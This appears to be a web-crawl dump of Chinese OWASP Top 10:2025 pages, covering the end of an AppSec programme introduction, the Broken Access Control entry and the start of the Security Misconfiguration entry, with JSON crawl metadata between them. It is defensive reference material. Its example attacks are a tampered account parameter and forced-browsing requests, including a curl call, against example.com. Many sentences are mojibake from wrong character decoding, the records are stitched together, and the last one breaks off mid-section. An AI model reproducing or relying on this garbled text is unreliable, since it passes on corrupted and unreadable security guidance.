给开发人员提供安全工具,并教他们使用,尤其是静态分析、软件组成分析、机密扫描和[ĺŸşçĄ€čŽžć–˝ĺłäťŁç ďźˆIaC)](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)扫描器。\n- ĺœ¨ĺŻčĄŒć—śä¸şĺź€ĺ‘äşşĺ‘˜ĺťşçŤ‹ćŠ¤ć ďźˆćŠ€ćœŻć€§äżćŠ¤ćŽŞć–˝ďźŒĺź•ĺŻźäť–äťŹĺšĺ‡şć›´ĺŽ‰ĺ…¨çš„é€‰ć‹Šďź‰ă€‚\n- 构建强大且可用的安全控制并不容易。尽可能提供安全默认值,并在可行时建立“铺好的路”(让最简单的做法也是最安全、最显然应优先选择的做法)。[OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/index.html) 是开发人员的良好起点,许多现代框架也已经内置用于授权、验证、CSRF é˜˛ćŠ¤ç­‰ć ‡ĺ‡†ä¸”ćœ‰ć•ˆçš„ĺŽ‰ĺ…¨ćŽ§ĺˆśă€‚\n- 给开发人员提供与安全相关的 IDE 插件,并鼓励他们使用。\n- 为他们提供密钥管理工具、许可证和使用文档。\n- 为他们提供私有 AI,理想情况下配有 RAG 服务器,包含有用的安全文档、团队编写的高质量提示词,以及能够调用组织所选安全工具的 MCP 服务器。教他们安全使用 AIďźŒĺ› ä¸şć— čŽşä˝ ć˜ŻĺŚć„żć„ďźŒäť–äťŹéƒ˝äźšä˝żç”¨ă€‚\n\n### 建立持续应用安全测试:\n\n- 测试技术功能以及与 IT 架构的集成,并协调业务测试。\n- 从技术和业务角度创建“使用”和“滥用”测试用例。\n- ć šćŽĺ†…éƒ¨ćľç¨‹ă€äżćŠ¤éœ€ćą‚ĺ’Œĺş”ç”¨çš„ĺ‡ĺŽšĺ¨čƒçş§ĺˆŤçŽĄç†ĺŽ‰ĺ…¨ćľ‹čŻ•ă€‚\n- 提供安全测试工具(模糊测试器、DAST 等)、安全测试环境和工具使用培训;或者替他们做测试;或者雇用测试人员。\n- 如果需要高保障级别,考虑正式渗透测试,以及压力测试和性能测试。\n- 与开发人员合作,帮助他们判断缺陷报告中哪些问题需要修复,并确保他们的经理给他们修复时间。\n\n### 发布:\n\n- 将应用投入运行,并在需要时从旧应用迁移。\n- 完成所有文档,包括变更管理数据库(CMDB)和安全架构。\n\n### 运维和变更管理:\n\n- 运维必须包括应用安全管理指南,例如补丁管理。\n- 提升用户安全意识,并管理可用性与安全性之间的冲突。\n- 规划并管理变更,例如迁移到应用新版本,或迁移到 OS、中间件、库等其他组件的新版本。\n- 确保所有应用都纳入清单,并记录所有重要细节。更新所有文档,包括 CMDB、安全架构、控制、对策,以及任何运行手册或项目文档。\n- 对所有应用执行日志记录、监控和告警。如果缺失,就补上。\n- 创建有效且高效的更新和补丁流程。\n- 创建定期扫描计划(理想情况下包括动态、静态、密钥、IaC 和软件组成分析)。\n- 为修复安全缺陷设定 SLA。\n- ćäž›ĺ‘˜ĺˇĽďźˆç†ćƒłćƒ…ĺ†ľä¸‹äšŸĺŒ…ć‹ŹĺŽ˘ćˆˇďź‰ćŠĽĺ‘Šçźşé™ˇçš„ć¸ é“ă€‚\n- ĺťşçŤ‹čŽ­çťƒćœ‰ç´ çš„äş‹äťśĺ“ĺş”ĺ›˘é˜ŸďźŒä˝żĺ…śäş†č§Łč˝Żäťść”ťĺ‡ťçš„čĄ¨çŽ°äťĽĺŠĺŻč§‚ćľ‹ć€§ĺˇĽĺ…ˇă€‚\n- 运行阻断或防护工具来拦截自动化攻击。\n- ćŻĺš´ďźˆćˆ–ć›´é˘‘çšďź‰ĺŠ ĺ›şé…ç˝Žă€‚\n- 至少每年进行一次渗透测试(取决于应用所需保障级别)。\n- ĺťşçŤ‹ćľç¨‹ĺ’ŒĺˇĽĺ…ˇćĽĺŠ ĺ›şĺšśäżćŠ¤č˝Żäťśäž›ĺş”é“žă€‚\n- 建立并更新业务连续性和灾难恢复规划,其中包括最重要的应用以及维护这些应用所使用的工具。\n\n### 退役系统:\n\n- 应归档所有必须保留的数据。所有其他数据应安全擦除。\n- ĺŽ‰ĺ…¨é€€ĺ˝šĺş”ç”¨ďźŒĺŒ…ć‹Źĺˆ é™¤ćœŞä˝żç”¨çš„č´Śćˆˇă€č§’č‰˛ĺ’Œćƒé™ă€‚\n- 在 CMDB 中将应用状态设置为已退役。\n\n## 将 OWASP Top 10 ä˝œä¸şć ‡ĺ‡†ä˝żç”¨\n\nOWASP Top 10 主要是一份安全意识文档。不过,自 2003 年创立以来,许多组织仍将其用作事实上的行业 AppSec ć ‡ĺ‡†ă€‚ĺŚ‚ćžœä˝ ćƒłĺ°† OWASP Top 10 ç”¨ä˝œçź–ç ćˆ–ćľ‹čŻ•ć ‡ĺ‡†ďźŒčŻˇć˜ŽçĄŽĺŽƒĺŞć˜Żćœ€ä˝ŽčŚćą‚ĺ’Œčľˇç‚šă€‚\n\n使用 OWASP Top 10 ä˝œä¸şć ‡ĺ‡†çš„ä¸€ä¸Şéšžç‚šĺœ¨äşŽďźŒćˆ‘äťŹčŽ°ĺ˝•çš„ć˜Ż AppSec 风险,而不一定是容易测试的问题。例如,[A06:2025-不安全设计](../A06_2025-Insecure_Design/) čś…ĺ‡şäş†ĺ¤§ĺ¤šć•°ćľ‹čŻ•ĺ˝˘ĺźçš„čŒƒĺ›´ă€‚ĺŚä¸€ä¸Şäž‹ĺ­ć˜Żćľ‹čŻ•ć˜ŻĺŚĺŽžçŽ°äş†ĺ°ąĺœ°ă€ĺœ¨ç”¨ä¸”ćœ‰ć•ˆçš„ć—Ľĺż—čŽ°ĺ˝•ĺ’Œç›‘ćŽ§ďźŒčż™ĺŞčƒ˝é€ščż‡čŽżč°ˆäťĽĺŠćŠ˝ć ˇčŻˇćą‚ćœ‰ć•ˆäş‹äťśĺ“ĺş”ćĽĺŽŒćˆă€‚é™ć€äťŁç ĺˆ†ćžĺˇĽĺ…ˇĺŻäťĽćŸĽć‰žçźşĺ°‘ć—Ľĺż—čŽ°ĺ˝•çš„ćƒ…ĺ†ľďźŒä˝†ĺŻčƒ˝ć— ćł•ĺˆ¤ć–­ä¸šĺŠĄé€ťčž‘ćˆ–čŽżé—ŽćŽ§ĺˆść˜ŻĺŚčŽ°ĺ˝•äş†é‡ĺ¤§ĺŽ‰ĺ…¨äş‹äťśă€‚ć¸—é€ćľ‹čŻ•äşşĺ‘˜äšŸčŽ¸ĺŞčƒ˝çĄŽčŽ¤äť–äťŹĺœ¨ćľ‹čŻ•çŽŻĺ˘ƒä¸­č§Śĺ‘äş†äş‹äťśĺ“ĺş”ďźŒč€Œćľ‹čŻ•çŽŻĺ˘ƒĺžˆĺ°‘ĺƒç”Ÿäş§çŽŻĺ˘ƒä¸€ć ˇč˘Ťç›‘ćŽ§ă€‚\n\n以下是我们关于何时适合使用 OWASP Top 10 的建议:\n\n| **使用场景** | **OWASP Top 10 2025** | **OWASP Application Security Verification Standard** |\n| --- | --- | --- |\n| 安全意识 | 是 | |\n| 培训 | 入门级 | 全面 |\n| 设计和架构 | 偶尔适用 | 是 |\n| çź–ç ć ‡ĺ‡† | 最低要求 | 是 |\n| ĺŽ‰ĺ…¨äťŁç ĺŽĄćŸĽ | 最低要求 | 是 |\n| 同行审查清单 | 最低要求 | 是 |\n| 单元测试 | 偶尔适用 | 是 |\n| 集成测试 | 偶尔适用 | 是 |\n| 渗透测试 | 最低要求 | 是 |\n| 工具支持 | 最低要求 | 是 |\n| 安全供应链 | 偶尔适用 | 是 |\n\nćˆ‘äťŹéź“ĺŠąäťťä˝•ćƒłé‡‡ç”¨ĺş”ç”¨ĺŽ‰ĺ…¨ć ‡ĺ‡†çš„äşşä˝żç”¨ [OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/)ASVSďź‰ďźŒĺ› ä¸şĺŽƒčŽžčŽĄä¸şĺŻéŞŒčŻă€ĺŻćľ‹čŻ•ďźŒĺšśĺŻç”¨äşŽĺŽ‰ĺ…¨ĺź€ĺ‘ç”Ÿĺ‘˝ĺ‘¨ćœŸçš„ĺ„ä¸Şéƒ¨ĺˆ†ă€‚\n\nASVS 是工具厂商唯一可接受的选择。由于 OWASP Top 10 ä¸­ĺ¤šä¸ŞéŁŽé™Šçš„ć€§č´¨ďźŒĺˇĽĺ…ˇć— ćł•ĺ…¨é˘ćŁ€ćľ‹ă€ćľ‹čŻ•ćˆ–é˜˛ćŠ¤ OWASP Top 10,尤其参见 [A06:2025-不安全设计](../A06_2025-Insecure_Design/)。OWASP 不鼓励任何声称完整覆盖 OWASP Top 10 çš„čŻ´ćł•ďźŒĺ› ä¸şčż™ć šćœŹä¸çœŸĺŽžă€‚", "znaku_textu": 12983, "slov": 576, "odkazu": 58, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:17", "sha256": "8e89b194fdbb0a19980ce57d36a44a5d68b6a70a5ebd56df974dcf68642ca1a9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://de.wikipedia.org/wiki/Configuration_Management_Database", "https://securitychampions.owasp.org/", "https://cheatsheetseries.owasp.org/index.html", "https://top10proactive.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/A01_2025-Broken_Access_Control/", "titulek": "A01 失效的访问控制 - OWASP Top 10:2025", "h1": "A01:2025 失效的访问控制", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/A01_2025-Broken_Access_Control/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A01:2025 失效的访问控制"}, {"uroven": 2, "text": "背景"}, {"uroven": 2, "text": "评分表"}, {"uroven": 2, "text": "描述"}, {"uroven": 2, "text": "如何预防"}, {"uroven": 2, "text": "攻击场景示例"}, {"uroven": 2, "text": "参考资料"}, {"uroven": 2, "text": "ć˜ ĺ°„çš„ CWE 列表"}], "markdown": "# A01:2025 失效的访问控制\n\n## 背景\n\n失效的访问控制保持 Top Ten 珏 1 位。100% 的受测应用都被发现存在某种形式的访问控制失效。该类别中值得关注的 CWE 包括 *CWE-200:向未授权主体暴露敏感信息*、*CWE-201:通过已发送数据暴露敏感信息*、*CWE-918ďźšćœĺŠĄçŤŻčŻˇćą‚äźŞé€ ďźˆSSRF)* 和 *CWE-352ďźščˇ¨çŤ™čŻˇćą‚äźŞé€ ďźˆCSRF)*。在贡献数据中,本类别的发生次数最高,相关 CVE 数量位居第二。\n\n## 评分表\n\n| ć˜ ĺ°„çš„ CWE 数量 | 最大发生率 | 平均发生率 | 最大覆盖率 | 平均覆盖率 | ĺšłĺ‡ĺŠ ćƒĺŻĺˆŠç”¨ć€§ | ĺšłĺ‡ĺŠ ćƒĺ˝ąĺ“ | 发生总数 | CVE 总数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 40 | 20.15% | 3.74% | 100.00% | 42.93% | 7.04 | 3.84 | 1,839,701 | 32,654 |\n\n## 描述\n\n访问控制用于执行策略,确保用户不能执行超出其预期权限的操作。访问控制失效通常会导致未经授权的信息披露,所有数据被修改或销毁,或者执行超出用户限制的业务功能。常见访问控制漏洞包括:\n\n- 违反最小权限原则,也就是通常所说的默认拒绝。访问权限应只授予特定能力、角色或用户,却对任何人可用。\n- 通过修改 URL(参数篡改或强制浏览)、内部应用状态或 HTML 页面,或使用修改 API 请求的攻击工具绕过访问控制检查。\n- é€ščż‡ćäž›ćŸč´Śćˆˇçš„ĺ”Żä¸€ć ‡čŻ†çŹŚďźŒĺ…čŽ¸ćŸĽçœ‹ćˆ–çź–čž‘äť–äşşč´Śćˆˇďźˆä¸ĺŽ‰ĺ…¨çš„ç›´ćŽĽĺŻščąĄĺź•ç”¨ďź‰ă€‚\n- 可访问的 API 寚 POST、PUT 和 DELETE 缺少访问控制。\n- 权限提升。未登录时以用户身份操作,或获得超出已登录用户预期的权限(例如管理员访问权限)。\n- 元数据操纵,例如重放或篡改 JSON Web TokenJWT)访问控制令牌,篡改 cookie 或隐藏字段以提升权限,或滥用 JWT 失效机制。\n- CORS 配置错误允许来自未经授权或不受信任来源的 API 访问。\n- 作为未认证用户强制浏览(猜测 URL)已认证页面,或作为普通用户访问特权页面。\n\n## 如何预防\n\nčŽżé—ŽćŽ§ĺˆśĺŞćœ‰ĺœ¨ĺŻäżĄçš„ćœĺŠĄçŤŻäťŁç ćˆ– Serverless API ä¸­ĺŽžçŽ°ć—ść‰ćœ‰ć•ˆďźŒĺ› ä¸şć”ťĺ‡ťč€…ć— ćł•äżŽć”šĺ…śä¸­çš„čŽżé—ŽćŽ§ĺˆśćŁ€ćŸĽćˆ–ĺ…ƒć•°ćŽă€‚\n\n- 除公共资源外,默认拒绝。\n- 只实现一次访问控制机制,并在整个应用中复用,同时尽量减少跨源资源共享(CORS)的使用。\n- ć¨Ąĺž‹čŽżé—ŽćŽ§ĺˆśĺş”ĺźşĺˆść‰§čĄŒčŽ°ĺ˝•ć‰€ćœ‰ćƒďźŒč€Œä¸ć˜Żĺ…čŽ¸ç”¨ćˆˇĺˆ›ĺťşă€čŻťĺ–ă€ć›´ć–°ćˆ–ĺˆ é™¤äťťä˝•čŽ°ĺ˝•ă€‚\n- 由领域模型强制执行应用特有的业务限制要求。\n- 禁用 Web 服务器目录列表,确保文件元数据(例如 .git)和备份文件不出现在 Web ć šç›Žĺ˝•ä¸­ă€‚\n- 记录访问控制失败,并在适当时告警管理员(例如重复失败)。\n- 寚 API ĺ’ŒćŽ§ĺˆśĺ™¨čŽżé—ŽĺŽžć–˝é€ŸçŽ‡é™ĺˆśďźŒäťĽé™ä˝Žč‡ŞĺŠ¨ĺŒ–ć”ťĺ‡ťĺˇĽĺ…ˇé€ ćˆçš„ĺąĺŽłă€‚\n- ćœ‰çŠść€äźščŻć ‡čŻ†çŹŚĺş”ĺœ¨ç”¨ćˆˇç™ťĺ‡şĺŽç”ąćœĺŠĄĺ™¨ĺ¤ąć•ˆă€‚ć— çŠść€ JWT 令牌应设置较短生命周期,以缩短攻击者可利用的时间窗口。对于生命周期较长的 JWT,可考虑使用刷新令牌,并遵循 OAuth ć ‡ĺ‡†ć’¤é”€čŽżé—Žćƒé™ă€‚\n- 使用成熟的工具包或模式,提供简单、声明式的访问控制。\n\n开发人员和 QA 人员应在单元测试和集成测试中包含功能性访问控制测试。\n\n## 攻击场景示例\n\n**场景 #1:** 应用在访问账户信息的 SQL 调用中使用了未经验证的数据:\n\n```\npstmt.setString(1, request.getParameter(\"acct\"));\nResultSet results = pstmt.executeQuery( );\n```\n\n攻击者只需修改浏览器中的 `acct` 参数,就可以发送任意账户编号。如果没有正确验证,攻击者就能访问任意用户账户。\n\n```\nhttps://example.com/app/accountInfo?acct=notmyacct\n```\n\n**场景 #2:** ć”ťĺ‡ťč€…ç›´ćŽĽĺźşĺˆśćľč§ˆĺ™¨čŽżé—Žç›Žć ‡ URL。访问管理页面需要管理员权限。\n\n```\nhttps://example.com/app/getappInfo\nhttps://example.com/app/admin_getappInfo\n```\n\n如果未认证用户可以访问任一页面,这就是缺陷。如果非管理员可以访问管理页面,也属于缺陷。\n\n**场景 #3:** 应用把所有访问控制都放在前端。虽然浏览器中运行的 JavaScript äťŁç é˜ťć­˘ć”ťĺ‡ťč€…čŽżé—Ž `https://example.com/app/admin_getappInfo`,但攻击者可以直接在命令行执行:\n\n```\n$ curl https://example.com/app/admin_getappInfo\n```\n\n## 参考资料\n\n- [OWASP Proactive Controls: C1: Implement Access Control](https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/)\n- [OWASP Application Security Verification Standard: V8 Authorization](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md)\n- [OWASP Testing Guide: Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n- [OWASP Cheat Sheet: Authorization](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [PortSwigger: Exploiting CORS misconfiguration](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)\n- [OAuth: Revoking Access](https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/)\n\n## ć˜ ĺ°„çš„ CWE 列表\n\n- [CWE-22 对受限目录路径名限制不当(路径遍历)](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-23 相对路径遍历](https://cwe.mitre.org/data/definitions/23.html)\n- [CWE-36 绝对路径遍历](https://cwe.mitre.org/data/definitions/36.html)\n- [CWE-59 文件访问前链接解析不当(跟随链接)](https://cwe.mitre.org/data/definitions/59.html)\n- [CWE-61 跟随 UNIX 符号链接](https://cwe.mitre.org/data/definitions/61.html)\n- [CWE-65 Windows 硬链接](https://cwe.mitre.org/data/definitions/65.html)\n- [CWE-200 向未授权主体暴露敏感信息](https://cwe.mitre.org/data/definitions/200.html)\n- [CWE-201 通过已发送数据暴露敏感信息](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-219 ĺœ¨ç˝‘çŤ™ć šç›Žĺ˝•ä¸‹ĺ­˜ĺ‚¨ĺŤć•ć„Ÿć•°ćŽçš„ć–‡äťś](https://cwe.mitre.org/data/definitions/219.html)\n- [CWE-276 默认权限错误](https://cwe.mitre.org/data/definitions/276.html)\n- [CWE-281 权限保留不当](https://cwe.mitre.org/data/definitions/281.html)\n- [CWE-282 所有权管理不当](https://cwe.mitre.org/data/definitions/282.html)\n- [CWE-283 未验证所有权](https://cwe.mitre.org/data/definitions/283.html)\n- [CWE-284 访问控制不当](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285 授权不当](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-352 čˇ¨çŤ™čŻˇćą‚äźŞé€ ďźˆCSRF)](https://cwe.mitre.org/data/definitions/352.html)\n- [CWE-359 向未授权主体暴露私人个人信息](https://cwe.mitre.org/data/definitions/359.html)\n- [CWE-377 不安全的临时文件](https://cwe.mitre.org/data/definitions/377.html)\n- [CWE-379 在权限不安全的目录中创建临时文件](https://cwe.mitre.org/data/definitions/379.html)\n- [CWE-402 ĺ°†ç§ćœ‰čľ„ćşäź čž“ĺˆ°ć–°çš„čŒƒĺ›´ďźˆčľ„ćşćł„ćźďź‰](https://cwe.mitre.org/data/definitions/402.html)\n- [CWE-424 备用路径保护不当](https://cwe.mitre.org/data/definitions/424.html)\n- [CWE-425 直接请求(强制浏览)](https://cwe.mitre.org/data/definitions/425.html)\n- [CWE-441 非预期代理或中介(混淆代理)](https://cwe.mitre.org/data/definitions/441.html)\n- [CWE-497 向未授权控制范围暴露敏感系统信息](https://cwe.mitre.org/data/definitions/497.html)\n- [CWE-538 将敏感信息写入外部可访问文件或目录](https://cwe.mitre.org/data/definitions/538.html)\n- [CWE-540 ćşäťŁç ä¸­ĺŒ…ĺŤć•ć„ŸäżĄćŻ](https://cwe.mitre.org/data/definitions/540.html)\n- [CWE-548 通过目录列表暴露信息](https://cwe.mitre.org/data/definitions/548.html)\n- [CWE-552 文件或目录可被外部方访问](https://cwe.mitre.org/data/definitions/552.html)\n- [CWE-566 通过用户可控 SQL 主键绕过授权](https://cwe.mitre.org/data/definitions/566.html)\n- [CWE-601 网址重定向到不可信站点(开放重定向)](https://cwe.mitre.org/data/definitions/601.html)\n- [CWE-615 ćşäťŁç ćł¨é‡Šä¸­ĺŒ…ĺŤć•ć„ŸäżĄćŻ](https://cwe.mitre.org/data/definitions/615.html)\n- [CWE-639 通过用户可控键绕过授权](https://cwe.mitre.org/data/definitions/639.html)\n- [CWE-668 将资源暴露到错误范围](https://cwe.mitre.org/data/definitions/668.html)\n- [CWE-732 关键资源权限分配错误](https://cwe.mitre.org/data/definitions/732.html)\n- [CWE-749 暴露危险方法或函数](https://cwe.mitre.org/data/definitions/749.html)\n- [CWE-862 缺少授权](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-863 授权错误](https://cwe.mitre.org/data/definitions/863.html)\n- [CWE-918 ćœĺŠĄçŤŻčŻˇćą‚äźŞé€ ďźˆSSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [CWE-922 敏感信息存储不安全](https://cwe.mitre.org/data/definitions/922.html)\n- [CWE-1275 敏感 Cookie 的 `SameSite` 属性设置不当](https://cwe.mitre.org/data/definitions/1275.html)", "znaku_textu": 8797, "slov": 395, "odkazu": 81, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:18", "sha256": "0d6f6ede3362579fc938caeca429916e593165ba3b0d7865f94e3bf7fb443d05", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties", "https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/", "https://cwe.mitre.org/data/definitions/22.html", "https://cwe.mitre.org/data/definitions/23.html", "https://cwe.mitre.org/data/definitions/36.html", "https://cwe.mitre.org/data/definitions/59.html", "https://cwe.mitre.org/data/definitions/61.html", "https://cwe.mitre.org/data/definitions/65.html", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/201.html", "https://cwe.mitre.org/data/definitions/219.html", "https://cwe.mitre.org/data/definitions/276.html", "https://cwe.mitre.org/data/definitions/281.html", "https://cwe.mitre.org/data/definitions/282.html", "https://cwe.mitre.org/data/definitions/283.html", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/352.html", "https://cwe.mitre.org/data/definitions/359.html", "https://cwe.mitre.org/data/definitions/377.html", "https://cwe.mitre.org/data/definitions/379.html", "https://cwe.mitre.org/data/definitions/402.html", "https://cwe.mitre.org/data/definitions/424.html", "https://cwe.mitre.org/data/definitions/425.html", "https://cwe.mitre.org/data/definitions/441.html", "https://cwe.mitre.org/data/definitions/497.html", "https://cwe.mitre.org/data/definitions/538.html", "https://cwe.mitre.org/data/definitions/540.html", "https://cwe.mitre.org/data/definitions/548.html", "https://cwe.mitre.org/data/definitions/552.html", "https://cwe.mitre.org/data/definitions/566.html", "https://cwe.mitre.org/data/definitions/601.html", "https://cwe.mitre.org/data/definitions/615.html", "https://cwe.mitre.org/data/definitions/639.html", "https://cwe.mitre.org/data/definitions/668.html", "https://cwe.mitre.org/data/definitions/732.html", "https://cwe.mitre.org/data/definitions/749.html", "https://cwe.mitre.org/data/definitions/862.html", "https://cwe.mitre.org/data/definitions/863.html", "https://cwe.mitre.org/data/definitions/918.html", "https://cwe.mitre.org/data/definitions/922.html", "https://cwe.mitre.org/data/definitions/1275.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/A02_2025-Security_Misconfiguration/", "titulek": "A02 安全配置错误 - OWASP Top 10:2025", "h1": "A02:2025 安全配置错误", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/A02_2025-Security_Misconfiguration/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A02:2025 安全配置错误"}, {"uroven": 2, "text": "背景"}, {"uroven": 2, "text": "评分表"}, {"uroven": 2, "text": "描述"}, {"uroven": 2, "text": "如何预防"}, {"uroven": 2, "text": "攻击场景示例"}, {"uroven": 2, "text": "参考资料"}, {"uroven": 2, "text": "ć˜ ĺ°„çš„ CWE 列表"}], "markdown": "# A02:2025 安全配置错误\n\n## 背景\n\n安全配置错误从上一版第 5 位上升。100% 的受测应用都被发现存在某种形式的配置错误,平均发生率为 3.00%,本风险类别中通用弱点枚举(CWE)的发生次数超过 71.9 万次。随着软件越来越多地转向高度可配置的形态,本类别排名上升并不意外。值得关注的 CWE 包括 *CWE-16:配置* 和 *CWE-611:XML 外部实体引用限制不当(XXE)*。\n\n## 评分表\n\n| ć˜ ĺ°„çš„ CWE 数量 | 最大发生率 | 平均发生率 | 最大覆盖率 | 平均覆盖率 | ĺšłĺ‡ĺŠ ćƒĺŻĺˆŠç”¨ć€§ | ĺšłĺ‡ĺŠ ćƒĺ˝ąĺ“ | 发生总数 | CVE 总数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 27.70% | 3.00% | 100.00% | 52.35% | 7.96 | 3.97 | 719,084 | 1,375 |\n\n## 描述\n\n安全配置错误是指系统、应用或云服务从安全角度被错误设置,从而产生漏洞。\n\n如果出现以下情况,应用可能存在风险:\n\n- ĺş”ç”¨ć ˆäťťä¸€éƒ¨ĺˆ†çźşĺ°‘é€‚ĺ˝“çš„ĺŽ‰ĺ…¨ĺŠ ĺ›şďźŒćˆ–äş‘ćœĺŠĄćƒé™é…ç˝Žä¸ĺ˝“ă€‚\n- 启用或安装了不必要的功能(例如不必要的端口、服务、页面、账户、测试框架或权限)。\n- éť˜čŽ¤č´ŚćˆˇĺŠĺ…śĺŻ†ç äťĺ¤„äşŽĺŻç”¨çŠść€ďźŒä¸”ćœŞč˘ŤäżŽć”šă€‚\n- çźşĺ°‘é›†ä¸­é…ç˝ŽćĽć‹ŚćˆŞčż‡ĺ¤šé”™čŻŻćśˆćŻă€‚é”™čŻŻĺ¤„ç†ĺ‘ç”¨ćˆˇćš´éœ˛ĺ †ć ˆčˇŸč¸Şćˆ–ĺ…śäť–äżĄćŻčż‡äşŽčŻŚçť†çš„é”™čŻŻćśˆćŻă€‚\n- 对已升级系统,最新安全功能被禁用或没有安全配置。\n- 过度优先考虑向后兼容,导致不安全配置。\n- 应用服务器、应用框架(例如 Struts、Spring、ASP.NET)、库、数据库等的安全设置未设为安全值。\n- 服务器没有发送安全头或安全指令,或者它们未设为安全值。\n\nĺŚ‚ćžœć˛Ąćœ‰ĺč°ƒä¸€č‡´ă€ĺŻé‡ĺ¤çš„ĺş”ç”¨ĺŽ‰ĺ…¨é…ç˝ŽĺŠ ĺ›şćľç¨‹ďźŒçłťçťŸäźšé˘ä¸´ć›´éŤ˜éŁŽé™Šă€‚\n\n## 如何预防\n\n应实施安全安装流程,包括:\n\n- ĺťşçŤ‹ĺŻé‡ĺ¤çš„ĺŠ ĺ›şćľç¨‹ďźŒčƒ˝ĺ¤ŸĺżŤé€Ÿă€č˝ťćžĺœ°éƒ¨ç˝˛ĺŚä¸€ä¸Şçťčż‡é€‚ĺ˝“é”ĺŽšçš„çŽŻĺ˘ƒă€‚ĺź€ĺ‘ă€QA 和生产环境应以相同方式配置,但各环境使用不同凭据。该流程应自动化,以减少搭建新安全环境所需的工作量。\n- 使用最小化平台,不包含任何不必要的功能、组件、文档或示例。移除或不要安装未使用的功能和框架。\n- 将审查和更新配置作为补丁管理流程的一部分,确保配置符合所有安全公告、更新和补丁要求(参见 [A03 软件供应链失效](../A03_2025-Software_Supply_Chain_Failures/) )。审查云存储权限(例如 S3 bucket 权限)。\n- 采用分段应用架构,通过分段、容器化或云安全组(ACL)在组件或租户之间实现有效且安全的隔离。\n- 向客户端发送安全指令,例如安全头。\n- 建立自动化流程,验证所有环境中的配置和设置是否有效。\n- ä¸ťĺŠ¨ĺ˘žĺŠ é›†ä¸­é…ç˝ŽďźŒä˝œä¸şć‹ŚćˆŞčż‡ĺ¤šé”™čŻŻćśˆćŻçš„ĺ¤‡ç”¨ćŽŞć–˝ă€‚\n- 如果这些验证没有自动化,至少应每年手动验证一次。\n- ä˝żç”¨ĺş•ĺą‚ĺšłĺ°ćäž›çš„čşŤäť˝č”ĺˆă€çŸ­ćœŸĺ‡­ćŽćˆ–ĺŸşäşŽč§’č‰˛çš„čŽżé—ŽćœşĺˆśďźŒč€Œä¸ć˜Żĺœ¨äťŁç ă€é…ç˝Žć–‡äťśćˆ–ćľć°´çşżä¸­ĺľŒĺ…Ľé™ć€ĺŻ†é’Ľćˆ– secret。\n\n## 攻击场景示例\n\n**场景 #1:** 